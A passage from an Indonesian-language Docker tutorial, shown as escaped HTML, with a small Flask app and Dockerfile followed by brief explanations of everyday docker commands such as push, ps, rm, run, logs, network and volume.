build&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Berikut adalah isi file &lt;code&gt;app.py&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;app.py&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; flask &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; Flask&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;app &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Flask&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;__name__&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;@app&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;route&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;/&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;hello&lt;/span&gt;&lt;span&gt;():&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;hello world!&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;__name__&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;app.&lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;host&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;0.0.0.0&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dan isi file &lt;code&gt;Dockerfile&lt;/code&gt;-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;Dockerfile&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; python:3.14.3-alpine&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RUN&lt;/span&gt;&lt;span&gt; pip install --upgrade pip&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RUN&lt;/span&gt;&lt;span&gt; pip install flask&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;CMD&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;&quot;python&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&quot;app.py&quot;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;COPY&lt;/span&gt;&lt;span&gt; app.py /app.py&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Sumber:&lt;/strong&gt; &lt;a href=&quot;https://cognitiveclass.ai/courses/docker-essentials&quot; target=&quot;_blank&quot;&gt;congnitiveclass.ai/courses/docker-essentials&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker push&lt;a href=&quot;#docker-push&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Menambahkan (meng-&lt;em&gt;upload&lt;/em&gt;) docker image:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tag&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;local-image&amp;gt;:&amp;lt;tagname&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;username&amp;gt;/&amp;lt;new-repo&amp;gt;:&amp;lt;tagname&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;username&amp;gt;/&amp;lt;new-repo&amp;gt;:&amp;lt;tagname&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Jika belum punya repository, kita perlu membuatnya terlebih dahulu.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker push&quot; loading=&quot;lazy&quot; width=&quot;921&quot; height=&quot;645&quot; src=&quot;/_astro/ss23.BnJopo0W_Z1WNtjJ.webp&quot; /&gt;&lt;figcaption&gt;docker push&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Docker image-nya akan muncul di repository kita:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker image in dockerhub repo&quot; loading=&quot;lazy&quot; width=&quot;1060&quot; height=&quot;612&quot; src=&quot;/_astro/ss24.QQVrNqtC_ZJQsmY.webp&quot; /&gt;&lt;figcaption&gt;docker image in dockerhub repo&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker ps&lt;a href=&quot;#docker-ps&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Melihat container yang sedang berjalan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ps&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker ps&quot; loading=&quot;lazy&quot; width=&quot;672&quot; height=&quot;193&quot; src=&quot;/_astro/ss8.DRQ-2wZt_1h9UJS.webp&quot; /&gt;&lt;figcaption&gt;docker ps&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Melihat semua container, termasuk yang sedang tidak berjalan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ps&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-a&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker ps -a&quot; loading=&quot;lazy&quot; width=&quot;1159&quot; height=&quot;262&quot; src=&quot;/_astro/ss9.D_BbT4NX_YSOKx.webp&quot; /&gt;&lt;figcaption&gt;docker ps -a&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker rm&lt;a href=&quot;#docker-rm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Menghapus satu atau lebih container:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-f&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;container_name&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;container_id&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker rm&quot; loading=&quot;lazy&quot; width=&quot;1161&quot; height=&quot;429&quot; src=&quot;/_astro/ss10.Claeq78H_1iwf65.webp&quot; /&gt;&lt;figcaption&gt;docker rm&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker rmi&lt;a href=&quot;#docker-rmi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Menghapus satu atau lebih docker image:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rmi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-f&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;image_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker rmi&quot; loading=&quot;lazy&quot; width=&quot;921&quot; height=&quot;456&quot; src=&quot;/_astro/ss11.DrDoPhot_dBieV.webp&quot; /&gt;&lt;figcaption&gt;docker rmi&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker run&lt;a href=&quot;#docker-run&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Menjalankan docker image sebagai container:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;image_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker run&quot; loading=&quot;lazy&quot; width=&quot;932&quot; height=&quot;562&quot; src=&quot;/_astro/ss14-1.Buf5YTNa_Z1L4lMD.webp&quot; /&gt;&lt;figcaption&gt;docker run&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kita bisa lihat, &lt;em&gt;container&lt;/em&gt;-nya sudah berjalan:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker run&quot; loading=&quot;lazy&quot; width=&quot;1071&quot; height=&quot;651&quot; src=&quot;/_astro/ss14-2.-VOwbnb2_10JXJc.webp&quot; /&gt;&lt;figcaption&gt;docker run&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker start&lt;a href=&quot;#docker-start&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Menjalankan container:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;container_id&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker start&quot; loading=&quot;lazy&quot; width=&quot;921&quot; height=&quot;443&quot; src=&quot;/_astro/ss15.DYEZrYql_ZajwcG.webp&quot; /&gt;&lt;figcaption&gt;docker start&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker restart&lt;a href=&quot;#docker-restart&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Me-restart container:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;restart&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;container_id&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker restart&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;327&quot; src=&quot;/_astro/ss16.eMrnqzz8_PvjoQ.webp&quot; /&gt;&lt;figcaption&gt;docker restart&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker stop&lt;a href=&quot;#docker-stop&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Menghentikan container:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;stop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;container_id&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker stop&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;306&quot; src=&quot;/_astro/ss17.dMXUlesq_Z9r8mk.webp&quot; /&gt;&lt;figcaption&gt;docker stop&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker logs&lt;a href=&quot;#docker-logs&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Melihat log dari sebuah container:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;logs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;container_id&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker logs&quot; loading=&quot;lazy&quot; width=&quot;921&quot; height=&quot;648&quot; src=&quot;/_astro/ss18.Dol8Q2Me_1MQf0m.webp&quot; /&gt;&lt;figcaption&gt;docker logs&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker stats&lt;a href=&quot;#docker-stats&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Melihat alokasi &lt;em&gt;resource&lt;/em&gt; yang dipakai oleh container:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;stats&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker stats&quot; loading=&quot;lazy&quot; width=&quot;808&quot; height=&quot;120&quot; src=&quot;/_astro/ss19.DEEVE2zZ_t7bHU.webp&quot; /&gt;&lt;figcaption&gt;docker stats&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker inspect&lt;a href=&quot;#docker-inspect&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Melihat informasi detail sebuah container:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;inspect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;container_id&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker inspect&quot; loading=&quot;lazy&quot; width=&quot;919&quot; height=&quot;647&quot; src=&quot;/_astro/ss20.B2Gm7qiO_1wr0F6.webp&quot; /&gt;&lt;figcaption&gt;docker inspect&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker network&lt;a href=&quot;#docker-network&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Melihat daftar network:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;network&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker network ls&quot; loading=&quot;lazy&quot; width=&quot;392&quot; height=&quot;239&quot; src=&quot;/_astro/ss21.BGU9XXGI_Z1tp04S.webp&quot; /&gt;&lt;figcaption&gt;docker network ls&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Melihat detail sebuah network:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;network&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;inspect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;network_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker network inspect&quot; loading=&quot;lazy&quot; width=&quot;624&quot; height=&quot;645&quot; src=&quot;/_astro/ss22.CjV_1gYA_Zzz16.webp&quot; /&gt;&lt;figcaption&gt;docker network inspect&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker volume&lt;a href=&quot;#docker-volume&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Volume Docker secara default berada di &lt;code&gt;/var/lib/docker/volumes&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Untuk membuat volume baru:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;volume&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;create&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;volume_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk melihat daftar volume yang tersedia:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;volume&lt;/span&gt;&lt;span&gt; 